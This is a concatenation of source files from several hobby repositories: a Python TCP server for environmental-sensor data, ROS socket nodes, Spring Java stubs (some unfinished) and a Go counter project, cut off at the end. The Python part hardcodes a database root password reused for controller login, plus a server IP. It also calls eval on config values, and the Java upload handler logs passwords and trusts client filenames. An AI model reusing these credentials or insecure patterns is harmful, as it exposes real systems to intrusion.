10*(data[0]//16)+(data[0]%16)+0.1*(data[1]//16)+0.01*(data[1]%16) if tem_ori > 80: tem = tem_ori-100 else: tem = tem_ori hum = 10*(data[2]//16)+(data[2]%16)+0.1*(data[3]//16)+0.01*(data[3]%16) pm25 = 1000*(data[4]//16)+100*(data[4]%16)+10*(data[5]//16)+(data[5]%16) pm10 = 1000*(data[6]//16)+100*(data[6]%16)+10*(data[7]//16)+(data[7]%16) try: d.write_in( [time_rec, dev_id], [tem, hum, pm25, pm10], ) except: # 调用 Data_db 写入接口出现问题 return 4 else: # 成功 return 0 #数据接收保存 def data_save(d, data): total = len(data_save) if (data[0] == 13) & (data[1] == 10) & (data[-2] == 13) & (data[-1] == 10): dev_id = (data[2]//16)*10+(data[2]%16) date_n_time = '{0}[1][2][3]-{4}{5}-{6}{7} {8}{9}:{10}{11}'.format( data[3]//16, data[3]%16, data[4]//16, data[4]%16, data[5]//16, data[5]%16, data[6]//16, data[6]%16, data[7]//16, data[7]%16, data[8]//16, data[8]%16, ) if total == 19: data_to_save = [data[9:17],] elif (total-12)%8 == 0: if (total-12)/8 == 10*(data[9]//16)+(data[9]%16): data_to_save = [] for i in range((total-12)/8): data_to_save.append(data[8*i+10:8*i+18]) else: # 显示的应该包含的数据数与实际接收到的数据数不符 return 2 else: # 接收到的数据量既不是一个数据也不是多个数据 return 3 m = data_write(d, dev_id, date_n_time, data_to_save) return m else: # 不是以回车换行开头结尾,为干扰数据,直接丢弃。 return 1 ####################################################################################################################################### #TCP服务器部分,直接调用Data_db的写入接口 #使用分叉处理多个客户端同时连接 ####################################################################################################################################### class Server(ForkingMixIn, TCPServer): pass class Handler(StreamRequestHandler): def handle(self): addr = self.request.getpeername() print('Got connected with ', addr) d = Data_db() while True: self.data = self.request.recv(1024) if time.strftime('%H:%M', time.localtime()) == '00:02': d = Data_db() ret_code = data_save(d, self.data) self.request.sendall(ret_code.encode()) server = Server(('',1234), Handler) server.serve_forever() ``` tcpv.py ```import time import socket import threading import json from data_db import Data_db from email_SMTP import send_mail ####################################################################################################################################### #TCP服务器部分重写,用了多线程。 ####################################################################################################################################### HOST = '' PORT = 777 BUFSIZ = 1024 ADDR = (HOST, PORT) password = 'lizihe970106' timeout_start = 5 timeout_running = 120 linking_dev = {} prepare = [] ####################################################################################################################################### #下位机数据含义解析模块,根据通讯规则制定 ####################################################################################################################################### #数据写入 def data_write(d, dev_id, date_n_time, data_list): state = 0 for index, data in enumerate(data_list): time_flo = time.mktime(time.strptime(date_n_time, '%Y-%m-%d %H:%M'))+60*index time_rec = time.strftime('%Y%m%d %H:%M', time.localtime(time_flo)) tem_ori = 10*(data[0]//16)+(data[0]%16)+0.1*(data[1]//16)+0.01*(data[1]%16) if tem_ori > 80: tem = tem_ori-100 else: tem = tem_ori hum = 10*(data[2]//16)+(data[2]%16)+0.1*(data[3]//16)+0.01*(data[3]%16) pm25 = 1000*(data[4]//16)+100*(data[4]%16)+10*(data[5]//16)+(data[5]%16) pm10 = 1000*(data[6]//16)+100*(data[6]%16)+10*(data[7]//16)+(data[7]%16) print(time_rec) print(dev_id) print(tem,hum,pm25,pm10) file_save = open("mail.zero", "r") file_data = json.load(file_save) file_save.close() for i in ['tem', 'hum', 'pm25', 'pm10']: if (eval(i) > eval(file_data[i+'_x'])) or (eval(i) < eval(file_data[i+'_n'])): p_l = [] p_l.append(file_data[i+'_e']) print(i) print('is too high or too low, I will send email') send_mail(p_l, '环境监测系统警报提醒', i+'超标,请您查看' + '。——邮件为自动发送,请勿回复。') try: d.write_in( [time_rec, str(dev_id)], [str(tem), str(hum), str(pm25), str(pm10)], ) except: # 调用 Data_db 写入接口出现问题 return '\r\nwrite error\r\n' else: state += 1 if state: return '\r\nokwrite SUC\r\n' else: return '\r\nNo data?\r\n' #数据接收保存 def data_save(d, data): total = len(data) print(("total length is %d") %(total)) #判断起始位和结束位 if(total==1): return '\r\nE0\r\n' elif (data[0] == 13) & (data[1] == 10) & (data[-2] == 13) & (data[-1] == 10): dev_id = (data[2]//16)*10+(data[2]%16) date_n_time = '{0}{1}{2}{3}-{4}{5}-{6}{7} {8}{9}:{10}{11}'.format( data[3]//16, data[3]%16, data[4]//16, data[4]%16, data[5]//16, data[5]%16, data[6]//16, data[6]%16, data[7]//16, data[7]%16, data[8]//16, data[8]%16, ) #如果只有一个数据(data[3]高八位和低八位表示数据) if total == 20: data_to_save = [data[10:18],] elif (total-12)%8 == 0: if (total-12)/8 == 10*(data[9]//16)+(data[9]%16): data_to_save = [] for i in range((total-12)//8): data_to_save.append(data[8*i+10:8*i+18]) else: # 显示的应该包含的数据数与实际接收到的数据数不符 return '\r\nF2\r\n' else: # 接收到的数据量既不是一个数据也不是多个数据 return '\r\nF1\r\n' print(dev_id) print(date_n_time) print(data_to_save) m = data_write(d, dev_id, date_n_time, data_to_save) return m #下位机特殊请求 elif(data[0] == 10)&(data[1] == 13) & (data[-2] == 13)& (data[-1] == 10): print(data[2],data[3],total) #请求时间 if(data[2] == 87) & (data[3] == 84) & (total==6): time_str = time.strftime("%Y%m%d%H%M%S",time.localtime()) return '\r\nWT' + time_str + '\r\n' #下位机误以为连接掉了其实没掉。。。 elif(data[2] == 68) & (data[3] == 69): return '\r\nok00\r\n' else: return '\r\nF3\r\n' else: # 不是以回车换行开头结尾,为干扰数据,直接丢弃。 return '\r\nF0\r\n' # 接收单片机客户端数据并反馈的函数(替代之前的 SocketServer 部分) def handle_data(sock, dev_id): sock.settimeout(timeout_running) while True: try: data = sock.recv(BUFSIZ) except ConnectionResetError as e: print(e) print('客户端因为故障等被强迫下线') del linking_dev[dev_id] sock.close() break except Exception as e: print(e) sock.close() break #if time.strftime('%H:%M', time.localtime()) == '00:02': d = Data_db() ret_code = data_save(d, data) print(ret_code) sock.send(ret_code.encode()) # 接收控制器客户端得指令 def handle_cont(sock): sock.settimeout(timeout_running) while True: try: data = sock.recv(BUFSIZ) except ConnectionResetError as e: print(e) del linking_dev['control'] break print(data) print(linking_dev) if data.decode()[:7] == 'ADDANID': prepare.append(int(data.decode()[7:])) sock.send('成功'.encode()) elif data.decode()[:4] == 'STOP': id = int(data.decode()[4:]) if id in linking_dev: linking_dev[id].send('\r\nstop\r\n'.encode()) sock.send('成功'.encode()) else: sock.send('该ID没有连接'.encode()) print('id{0} not found'.format(id)) elif data.decode()[:5] == 'START': id = int(data.decode()[5:]) if id in linking_dev: linking_dev[id].send('\r\nstat\r\n'.encode()) sock.send('成功'.encode()) else: sock.send('该ID没有连接'.encode()) print('id{0} not found'.format(id)) elif data.decode()[2:6] == 'WARH': id = int(data.decode()[:2]) data_ = data.decode()[2:] if id in linking_dev: linking_dev[id].send('\r\n{0}\r\n'.format(data_).encode()) sock.send('成功'.encode()) else: sock.send('该ID没有连接'.encode()) print('id{0} not found'.format(id)) elif data.decode() == 'exit': sock.send('退出'.encode()) sock.close() break tcpServerSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tcpServerSocket.bind(ADDR) tcpServerSocket.listen(5) '''服务器端主体部分: 单片机在第一次连接后会确认身份,在此过程中出现问题会关闭连接,以免堵塞其他首次请求。 单片机可以根据返回的错误信息适当调整后再次请求连接, 身份确认通过后,服务器会发ok回去,此时才会单开一个线程供单片机使用。 在此线程中,服务器接收请求并作出回应。 控制器是用来控制单片机的客户端类型,首次连接时需确认身份。 身份确认格式为:‘con’+密码,格式正确且密码正确才会单开一个线程给控制器, 控制器可以接收到 '允许控制' 作为信号。 密码错误则直接关闭连接并在命令行内打印提醒注意。 可以操作的控制有: 指令:'ADDANID'+一设备ID 在设备添加完成后调用 要求添加设备时先在网页上添加设备, 然后新加的设备迅速连接服务器并发 DEVMYNUM 方可配对成功 指令:'STOP'+一设备ID 指令:'START'+一设备ID 再有控制单片机的需求直接重写 handle_cont 函数即可。 ''' while True: print('--------等待连接--------') tcpCliSocket, addr = tcpServerSocket.accept() tcpCliSocket.settimeout(timeout_start) print('--------与{0}建立了连接--------'.format(addr)) try: check_data = tcpCliSocket.recv(BUFSIZ) except ConnectionResetError: print('--------该连接被迫下线--------') tcpCliSocket.close() except socket.timeout: print('超时') tcpCliSocket.close() else: #干扰数据 if(len(check_data)==1): print('--------strange info--------') print(check_data) continue # 这条信息为区分单片机客户端与控制器客户端所用 print(check_data) if (check_data[0] == 10) & (check_data[1] == 13) & (check_data[-2] == 13)& (check_data[-1] == 10): if len(check_data) == 12: ask_data = (check_data[2:10]).decode() print(ask_data) if ask_data == 'DEVMYNUM': # 新设备 if len(prepare) != 0: the_id = prepare[0] if the_id in linking_dev: # 应该不会出现。出现说明 prepare 列表出现了错误 print('出现了问题,请检查 prepare 不应该有已经分配出去的ID') linking_dev[the_id] = tcpCliSocket del prepare[0] send_code = '\r\nok{0:02}\r\n'.format(the_id).encode() tcpCliSocket.send(send_code) print('I will start a new thread%d'.format(the_id)) data_rev = threading.Thread(target=handle_data, args=(tcpCliSocket, the_id)) data_rev.start() else: # 先去添加设备页添加设备再操作 tcpCliSocket.send('\r\nerr1\r\n'.encode()) tcpCliSocket.close() elif ask_data[0:6] == 'DEVNUM': # 原有设备 num_data = ask_data[6:8] the_dev_id = int(num_data) if the_dev_id in linking_dev: # 之前得连接没有正确关闭 linking_dev[the_dev_id].close() linking_dev[the_dev_id] = tcpCliSocket print(the_dev_id) send_code = '\r\nok{0:02}\r\n'.format(the_dev_id).encode() tcpCliSocket.send(send_code) data_rev = threading.Thread(target=handle_data, args=(tcpCliSocket, the_dev_id)) data_rev.start() else: # 数据格式不正确 tcpCliSocket.send('\r\nerr2\r\n'.encode()) tcpCliSocket.close() else: # 数据长度有误 tcpCliSocket.send('\r\nerr3\r\n'.encode()) tcpCliSocket.close() else: check_data = check_data.decode() # 有可能是控制器客户端 if check_data[:3] == 'con': # 就是控制器客户端 if check_data[3:] == password: print('--------控制器连接。。。--------') # 密码正确,允许控制 if 'control' in linking_dev: linking_dev['control'].close() del linking_dev['control'] tcpCliSocket.send('允许控制'.encode()) linking_dev['control'] = tcpCliSocket con_thread = threading.Thread(target=handle_cont, args=(tcpCliSocket,)) con_thread.start() else: # 密码错误 print('--------有控制器试图连接,因密码错误被拒绝。请关注。--------') print('--------地址与端口是:{0}--------'.format(tcpCliSocket.getpeername())) tcpCliSocket.close() else: # 是单片机客户端,且数据开头和结尾不符规定 tcpCliSocket.send('\r\nerr4\r\n'.encode()) tcpCliSocket.close() tcpServerSocket.close() ``` models.py ```from django.db import models #设备表 class Device(models.Model): # id = models.AutoField(primary_key=True) name = models.CharField(max_length=30, unique=True) discri = models.CharField(max_length=80) tem = models.BooleanField(default=True) hum = models.BooleanField(default=True) pm25 = models.BooleanField(default=True) pm10 = models.BooleanField(default=True) def __str__(self): return self.name #用户组表 class Usergroup(models.Model): groupname = models.CharField(max_length=30, unique=True) discri = models.CharField(max_length=80) num = models.IntegerField(default=0) charge = models.ManyToManyField(Device) #在这个组内新建用户时默认的 管理设备范围 tem = models.BooleanField(default=True) #温度数据管理权限 hum = models.BooleanField(default=True) #湿度数据管理权限 pm25 = models.BooleanField(default=True) #pm2.5数据管理权限 pm10 = models.BooleanField(default=True) #pm10数据管理权限 device = models.BooleanField() #设备管理权限 def __str__(self): return self.groupname #用户表 class User(models.Model): MASTER_CHOICE = ( ('N', '无'), ('G', '组管理员'), ('S', '超级管理员'), ) group = models.ForeignKey(Usergroup) username = models.CharField(max_length=30, unique=True) realname = models.CharField(max_length=30, null=True) password = models.CharField(max_length=50) email = models.EmailField() charge = models.ManyToManyField(Device) #该用户的权限 tem = models.BooleanField(default=True) hum = models.BooleanField(default=True) pm25 = models.BooleanField(default=True) pm10 = models.BooleanField(default=True) device = models.BooleanField() master = models.CharField(max_length=3, choices=MASTER_CHOICE) def __str__(self): return self.username ``` controller.py ```import socket HOST = '114.215.82.136' PORT = 779 BUFSIZ = 1024 ADDR = (HOST, PORT) def control(ask_sent, password): sock = socket.socket() sock.connect(ADDR) send_string = 'con' + password sock.send(send_string.encode()) perm = sock.recv(BUFSIZ) print(perm) if perm.decode() == '允许控制': sock.send(ask_sent.encode()) stat = sock.recv(BUFSIZ) if stat.decode() == '成功': sock.send('exit'.encode()) sure = sock.recv(BUFSIZ) if sure.decode() == '退出': sock.close() return 0 else: sock.close() return 1 elif stat.decode() == '该ID没有连接': sock.close() return 2 else: sock.close() return 4 else: sock.close() return 3 ``` data_db(myself).py ```import json import time import MySQLdb #数据库部分要更改 db = MySQLdb.connect("localhost", "root", "lizihe970106", "ems_data", charset='utf8') cursor = db.cursor() sql = "SELECT id, name FROM emsys_device" cursor.execute(sql) results = cursor.fetchall() db.close all_device={} for i in results: all_device[i[0]] = i[1] #应该是只向外提供 write_in 和 read_out 接口,其余自己实现。 #有可能initial也要提供出来,这个地方没有想好是只实例化一个对象出来用initial,还是再实例化一个对象出来好 #前者可能更便捷?但后者在处理两天相交时应该更有效一些,交接完成后销毁另一个。 #暂时使用第二种方法吧,更保险一些。做一个二向循环的指针,来决定调用哪一个对象 #上两行存疑。。用类变量的话可能可以直接来。待做实验验证销毁部分。 class Data_db: '''定义我自己的数据库,提供接口。数据的存储分为内存和外存两部分组成。内存部分使用mmap实现多进程内存共享。 内存存储四十分钟数据,每四十分钟(确切地说是每四十条数据)清空重置一次;每十分钟(每十条数据)写入一次; 请求数据时优先使用内存,内存没有需要的数据时,使用外存。 内存格式为: temp = { '1_地点一_2016-10-10':{ '00:00':[tem, hum, pm25, pm10], '00:01':[], }, '2_地点二_2016-10-10':{ '00:00':[], }, } 外存在 data_db 文件夹下,存储方式为: temp 的键为文件名(.zero) 对应的值作为字符串存入 接口统一说明: 存数据: write_in(msg, data): msg是一个列表[time, dev],time格式为"2016-10-10 00:00", dev是一个数字。 data是一个列表[tem, hum, pm25, pm10] 读取数据: read_out(choose, start, end): choose是一个列表,格式示例:['00','01','11']。前一位代表设备id,后一位代表项目(0-温度,1-湿度,2-PM2.5,3-PM10) start 和 end 分别是起止时间,格式为"2016-10-10 00:00",end可以为空,代表到当前时间。 返回值是一个字典,键为choose中的每一项,值为一个列表。格式示例如下: { '00':[10,20,30,40,], '01':[10,20,30,40,], '11':[10,20,30,40,], } ''' temp = {} def __init__(self): self.initial() def initial(self): '初始化一个内存列表。' # 重置内存与新建文件,建议每天23:59以后使用一次;新加设备时也可调用 # 先把内存写入 for i in Data_db.temp: self.update_data(i, Data_db.temp[i]) # 再重置内存 Data_db.temp = {} for device in all_device: Data_db.temp['{0}_{1}_{2}'.format(device, all_device[device], time.strftime("%Y-%m-%d", time.localtime()))] = {} def write_in(self, msg, data): '写入模块,msg是一个列表[time, dev],time格式为"2016-10-10 00:00", dev是一个数字。data是一个列表[tem, hum, pm25, pm10]。' # 获取数据 time = msg[0] dev_id = msg[1] dev_name = all_device[dev_id] data = data # 写入内存 try: Data_db.temp['{0}_{1}_{2}'.format(dev_id, dev_name, time[:10])][time[11:]] = data except KeyError: # 这里只是暂时初始化,应对特殊情况,最好还是调用self.initial() # 因为initial是当前系统时间,存储的时候用的时间是发过来的。所以这两句主要可以应对两天交界处的情况。 Data_db.temp['{0}_{1}_{2}'.format(dev_id, dev_name, time[:10])] = {} Data_db.temp['{0}_{1}_{2}'.format(dev_id, dev_name, time[:10])][time[11:]] = data # 写入外存与清空内存 d_num = len(Data_db.temp['{0}_{1}_{2}'.format(dev_id, dev_name, time[:10])]) if ( d_num==10 or d_num==20 or d_num==30 or d_num==40 ): key_name = '{0}_{1}_{2}'.format(dev_id, dev_name, time[:10]) all_data = Data_db.temp['{0}_{1}_{2}'.format(dev_id, dev_name, time[:10])] self.update_data(key_name, all_data) if d_num == 40: Data_db.temp['{0}_{1}_{2}'.format(dev_id, dev_name, time[:10])] = {} def update_data(self, key_name, data): '将内存更新至外存。' try: e_file = open("./data_db/{0}.zero".format(key_name), "r+") except FileNotFoundError: new = open("./data_db/{0}.zero".format(key_name), "w") new.close() e_file = open("./data_db/{0}.zero".format(key_name), "r+") finally: e_data = json.load(e_file) e_data.update(data) e_file.write(json.dumps(e_data)) e_file.close() def read_out(self, choose, start, end=time.strftime("%Y-%m-%d %H:%M", time.localtime())): '''优先在内存里找,找不到再去找外存。 根据豆豆给我的前端数据请求格式写成。 start 和 end 分别是起止时间,choose是一个列表,格式如下: ['00','01','11']前一位代表设备id,后一位代表项目(0-温度,1-湿度,2-PM2.5,3-PM10) 返回值是一个字典,键为choose中的每一项,值为一个列表 { '00':[10,20,30,40,], '01':[10,20,30,40,], '11':[10,20,30,40,], } !!注意!! 历史查询处需要大段时间数据的请直接调用IO接口读取外存! 请不要用for循环调取本接口获取大段时间数据! ''' start_ = time.mktime(time.strptime(start,'%Y-%m-%d %H:%M')) end_ = time.mktime(time.strptime(end,'%Y-%m-%d %H:%M')) a = [] while start_ != end_+60: x = time.localtime(start_) a.append(time.strftime('%Y-%m-%d %H:%M', x)) start_ += 60 rt_data = {} for item in choose: rt_data[item] = [] for time_it in a: date = time_it[:10] time = time_it[11:] try: rt_data[item].append(Data_da.temp['{0}_{1}_{2}'.format(item[0], all_device[item[0]], date)][time][int(item[1])]) except: try: read_f = open("./data_db/{0}_{1}_{2}.zero".format(item[0], all_device[item[0]], date), "r") read_d = json.load(read_f) rt_data[item].append(read_d[time][int(item[1])]) except: rt_data[item].append('null') return rt_data def __del__(self): '销毁一个对象。在两天相交处调用。' for i in Data_db.temp: self.update_data(i, Data_db.temp[i]) ```
zerowst/socket-communication
zerowst/socket-communication datarecv_node.cpp ```#include "ros/ros.h" #include "std_msgs/String.h" #include "std_msgs/Float64MultiArray.h" #include <iostream> #include <string.h> #include "socketbasic.h" void chatterCallback(const std_msgs::Float64MultiArray::ConstPtr& msg) { ROS_INFO("%f %f %f", msg->data[0], msg->data[1], msg->data[2]); } int main(int argc, char **argv) { ros::init(argc, argv, "datarecv_node"); ros::NodeHandle nh; ros::Subscriber sub = nh.subscribe("socket", 1000, chatterCallback); ros::spin(); return 0; } ``` socketbasic.h ```#ifndef SOCKETBASIC_H #define SOCKETBASIC_H #include "ros/ros.h" #include "std_msgs/String.h" #include "std_msgs/Float64MultiArray.h" #include <iostream> #include <string.h> #include <netinet/in.h> #include <unistd.h> #include <arpa/inet.h> //#include "socketbasic.h" #define MAXBYTE 255 #define num 3 using namespace std; //socketclient ------------------------------------------------------------------------------------------------------ class sendmessage{ private: int client; //socket client public: char szbuffer[MAXBYTE]; //send data in function"send" void init(); void pub(double data[num]); }; void sendmessage::pub(double data[num]){ memset(szbuffer, 0, sizeof(szbuffer)); memcpy(szbuffer, data, sizeof(double)*num); //transform data type from double to char send(client, szbuffer, sizeof(szbuffer), MSG_NOSIGNAL); close(client); } void sendmessage::init(){ //init of socket parameter client= socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in sockAddr; memset(&sockAddr, 0, sizeof(sockAddr)); sockAddr.sin_family = PF_INET; sockAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); //ip number sockAddr.sin_port = htons(8888); connect(client, (sockaddr*)& sockAddr, sizeof(sockaddr)); } //socketserver----------------------------------------------------------------------------------------------- class receivemessage{ private: int server; //main socket int clntsock; //recv socket public: double recvmsg[MAXBYTE]; //receive data in the function"memcpy" char recvchar[MAXBYTE]; //receive data in the function"recv" void init(); void receive(); }; void receivemessage::init(){ //socketserver init-------------------------------------create a socket to connect with transport layer as the main socket------------------------ server = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); struct sockaddr_in sockAddr; memset(&sockAddr, 0, sizeof(sockAddr)); sockAddr.sin_family = PF_INET; sockAddr.sin_addr.s_addr = inet_addr("127.0.0.1");//ip number sockAddr.sin_port = htons(8888); bind(server, (sockaddr*)& sockAddr, sizeof(sockaddr)); listen(server, 20); } void receivemessage::receive(){ //socketserver loop--------------------------------------create a socket to connect with client to receive message----------------- sockaddr clntAddr; unsigned int nSize = sizeof(sockaddr); clntsock = accept(server, (sockaddr*)& clntAddr, &nSize); memset(recvchar, 0, MAXBYTE); recv(clntsock, recvchar, MAXBYTE, MSG_NOSIGNAL); memcpy(recvmsg, recvchar, MAXBYTE); //transform data type from char to double /* cout << recvmsg[0] <<endl; //this part is used to verify the data received cout << recvmsg[1] <<endl; cout << recvmsg[2] <<endl;*/ close(clntsock); close(server); //serverloop--------------------------------------------------------------- } #endif // SOCKETBASIC_H ``` socketserver_node.cpp ```#include "ros/ros.h" #include "std_msgs/String.h" #include "std_msgs/Byte.h" #include "std_msgs/ByteMultiArray.h" #include "std_msgs/Float64MultiArray.h" #include "std_msgs/Float64.h" #include <iostream> #include <string.h> #include <netinet/in.h> #include <unistd.h> #include <arpa/inet.h> #include "socketbasic.h" int main(int argc, char **argv) { ros::init(argc, argv, "socketserver_node"); ros::NodeHandle nh; ros::Publisher chatter_pub = nh.advertise<std_msgs::Float64MultiArray>("socket", 1000); ros::Rate loop_rate(1); while (ros::ok()) { std_msgs::Float64MultiArray msg; //socketserver receivemessage receivemsg; receivemsg.init(); receivemsg.receive(); //put the data received into the msg of topic msg.data.resize(num); msg.data[0] = receivemsg.recvmsg[0]; msg.data[1] = receivemsg.recvmsg[1]; msg.data[2] = receivemsg.recvmsg[2]; chatter_pub.publish(msg); ros::spinOnce(); loop_rate.sleep(); } return 0; } ``` datatest_node.cpp ```#include "ros/ros.h" #include "std_msgs/String.h" #include "std_msgs/Float64MultiArray.h" #include <tf/transform_listener.h> #include <geometry_msgs/Twist.h> #define num 3 int main(int argc, char **argv) { ros::init(argc, argv, "datatest_node"); ros::NodeHandle nh; ros::Publisher chatter_pub = nh.advertise<std_msgs::Float64MultiArray>("datatest", 1000); ros::Rate loop_rate(1); while (ros::ok()) { static double x = 0, y = 0, z = 0; std_msgs::Float64MultiArray msg; msg.data.resize(num); msg.data[0] = x; msg.data[1] = y; msg.data[2] = z; x++; y+=2; z+=3; chatter_pub.publish(msg); ros::spinOnce(); loop_rate.sleep(); } return 0; } ```
zerozaki-z/hahaha
zerozaki-z/hahaha AddressMapper.java ```package com.neusoft.newcharge.mapper; public interface AddressMapper { } ``` EmpServiceImpl.java ```package com.neusoft.newcharge.service.impl; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import com.neusoft.newcharge.mapper.EmpMapper; import com.neusoft.newcharge.po.Emp; import com.neusoft.newcharge.service.EmpService; @Service public class EmpServiceImpl implements EmpService { @Autowired EmpMapper empMapper; @Transactional @Override public List<Emp> findAll() throws Exception { // TODO Auto-generated method stub List<Emp> list = empMapper.findAll(); return list; } @Transactional @Override public void save(String ename) throws Exception { // TODO Auto-generated method stub empMapper.save(ename); } } ``` EnterpriseService.java ```package com.neusoft.newcharge.service; public interface EnterpriseService { public boolean validate(); } ``` UserHandler.java ```package com.neusoft.newcharge.controllers; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import javax.servlet.http.HttpServletRequest; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.multipart.MultipartFile; @Controller public class UserHandler { @RequestMapping("/user/upload.action") public String upload(HttpServletRequest request, String username, String password, @RequestParam("upload") MultipartFile upload) { System.out.println(username + "_" + password); String filename = System.currentTimeMillis() + "_" + upload.getOriginalFilename(); Path filepath = Paths.get(request.getServletContext().getRealPath("/")) .getParent() .resolve("uploads"); try { upload.transferTo(Files.createFile(filepath.resolve(filename)).toFile()); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println(filepath.resolve(filename).toString()); return "forward:/upload.html"; } @RequestMapping("/user/ajaxUpload.action") @ResponseBody public String ajaxUpload(HttpServletRequest request, String username, String password, @RequestParam("upload") MultipartFile upload) { System.out.println(username + "_" + password); String filename = System.currentTimeMillis() + "_" + upload.getOriginalFilename(); Path filepath = Paths.get(request.getServletContext().getRealPath("/")) .getParent() .resolve("uploads"); try { upload.transferTo(Files.createFile(filepath.resolve(filename)).toFile()); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println(filepath.resolve(filename).toString()); return "{\"result\", true}"; } } ``` CouponMapper.java ```package com.neusoft.newcharge.mapper; public interface CouponMapper { } ``` MessagereplyMapper.java ```package com.neusoft.newcharge.mapper; public interface MessagereplyMapper { } ``` UserSevice.java ```package com.neusoft.newcharge.service; import com.neusoft.newcharge.vo.VInputUser; public interface UserSevice { public boolean valid(VInputUser viu); } ``` FreelistenService.java ```package com.neusoft.newcharge.service; import java.util.List; import com.neusoft.newcharge.vo.VInputFreelisten; import com.neusoft.newcharge.vo.VOutputFreelisten; public interface FreelistenService { public boolean addFreelisten(VInputFreelisten vif); public boolean editFreelisten(VInputFreelisten vif); public boolean deleteFreelisten(VInputFreelisten vif); public List<VOutputFreelisten> showFreelisten(); } ``` EmpHandler.java ```package com.neusoft.newcharge.controllers; import java.util.Arrays; import java.util.List; import javax.servlet.http.HttpServletRequest; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import com.neusoft.newcharge.po.Emp; import com.neusoft.newcharge.service.EmpService; @Controller public class EmpHandler { @Autowired EmpService empService; @RequestMapping(value="/emp/findAll.action") @ResponseBody public List<Emp> findAll(HttpServletRequest request) { List<Emp> list = Arrays.asList(); try { list = empService.findAll(); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } // request.setAttribute("list", list); // return "forward:/showList.jsp"; return list; } @RequestMapping(value="/emp/insert.action") @ResponseBody public String insert(String ename) { try { empService.save(ename); return "{\"result\": true}"; } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); return "{\"result\": false}"; } // return "forward:findAll.action"; } } ``` EnterpriseMapper.java ```package com.neusoft.newcharge.mapper; public interface EnterpriseMapper { } ``` ProductMapper.java ```package com.neusoft.newcharge.mapper; public interface ProductMapper { } ``` EmpMapper.java ```package com.neusoft.newcharge.mapper; import java.util.List; import com.neusoft.newcharge.po.Emp; public interface EmpMapper { public List<Emp> findAll() throws Exception; public void save(String ename) throws Exception; } ``` CouponrecordMapper.java ```package com.neusoft.newcharge.mapper; public interface CouponrecordMapper { } ``` TeacherService.java ```package com.neusoft.newcharge.service; import java.util.List; import com.neusoft.newcharge.vo.VInputTeacher; import com.neusoft.newcharge.vo.VOutputTeacher; public interface TeacherService { public boolean addTeacher(VInputTeacher vit); public boolean deleteTeacher(VInputTeacher vit); public boolean editTeacher(VInputTeacher vit); public List<VOutputTeacher> showTeacher(); } ``` UserMapper.java ```package com.neusoft.newcharge.mapper; public interface UserMapper { } ``` VInputTeacher.java ```package com.neusoft.newcharge.vo; public class VInputTeacher { private int id; private String name; private String photo; private String introduction; public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getPhoto() { return photo; } public void setPhoto(String photo) { this.photo = photo; } public String getIntroduction() { return introduction; } public void setIntroduction(String introduction) { this.introduction = introduction; } } ``` FreelistenbookMapper.java ```package com.neusoft.newcharge.mapper; public interface FreelistenbookMapper { } ``` TeacherMapper.java ```package com.neusoft.newcharge.mapper; public interface TeacherMapper { } ``` SorderMapper.java ```package com.neusoft.newcharge.mapper; public interface SorderMapper { } ``` AddressService.java ```package com.neusoft.newcharge.service; import java.util.List; import com.neusoft.newcharge.vo.VInputAddress; import com.neusoft.newcharge.vo.VOutputAddress; public interface AddressService { public boolean addAddress(VInputAddress via); public boolean deleteAddress(VInputAddress via); public boolean editAddress(VInputAddress via); public List<VOutputAddress> showAddress(); } ``` MessageimgMapper.java ```package com.neusoft.newcharge.mapper; public interface MessageimgMapper { } ``` LessonbranchMapper.java ```package com.neusoft.newcharge.mapper; public interface LessonbranchMapper { } ``` MessagelikeMapper.java ```package com.neusoft.newcharge.mapper; public interface MessagelikeMapper { } ``` FreelistenMapper.java ```package com.neusoft.newcharge.mapper; public interface FreelistenMapper { } ``` LessonService.java ```package com.neusoft.newcharge.service; public interface LessonService { public boolean } ``` RefundMapper.java ```package com.neusoft.newcharge.mapper; public interface RefundMapper { } ``` SwiperMapper.java ```package com.neusoft.newcharge.mapper; public interface SwiperMapper { } ``` VInputEnterprise.java ```package com.neusoft.newcharge.vo; public class VInputEnterprise { private } ``` LessonMapper.java ```package com.neusoft.newcharge.mapper; public interface LessonMapper { } ```
zet4/go-travis-docker-test
zet4/go-travis-docker-test somefile.go ```package lib import ( "sync/atomic" ) var counter = uint64(0) // IncrementAndReturn will get a value, increment it and return temp. func IncrementAndReturn() uint64 { temp := atomic.LoadUint64(&counter) atomic.AddUint64(&counter, 1) return temp } // Reset clears a counter value func Reset() { atomic.StoreUint64(&counter, 0) } ``` README.md ```# go-travis-docker-test Experimenting with building and pushing to docker scratch golang containers. ``` somefile_test.go ```package lib_test import ( . "github.com/onsi/ginkgo" . "github.com/onsi/gomega" "github.com/zet4/go-travis-docker-test/lib" ) var _ = Describe("Lib", func() { Describe("Counter stuff", func() { Context("Counter is zero", func() { It("should return 0 after first call", func() { lib.Reset() val := lib.IncrementAndReturn() Expect(val).To(Equal(uint64(0))) }) It("should return 1 after second call", func() { lib.Reset() val := lib.IncrementAndReturn() val = lib.IncrementAndReturn() Expect(val).To(Equal(uint64(1))) }) }) }) }) ``` main.go ```package main import ( "fmt" "log" "net/http" "os" "github.com/zet4/go-travis-docker-test/lib" ) func main() { http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { if r.URL.Path != "/" { return } host, err := os.Hostname() if err != nil { w.Write([]byte("Encountered error while trying to get hostname...")) return } fmt.Fprintf(w, "Hello there from %s, this instance has seen %d hits.", host, lib.IncrementAndReturn()) }) 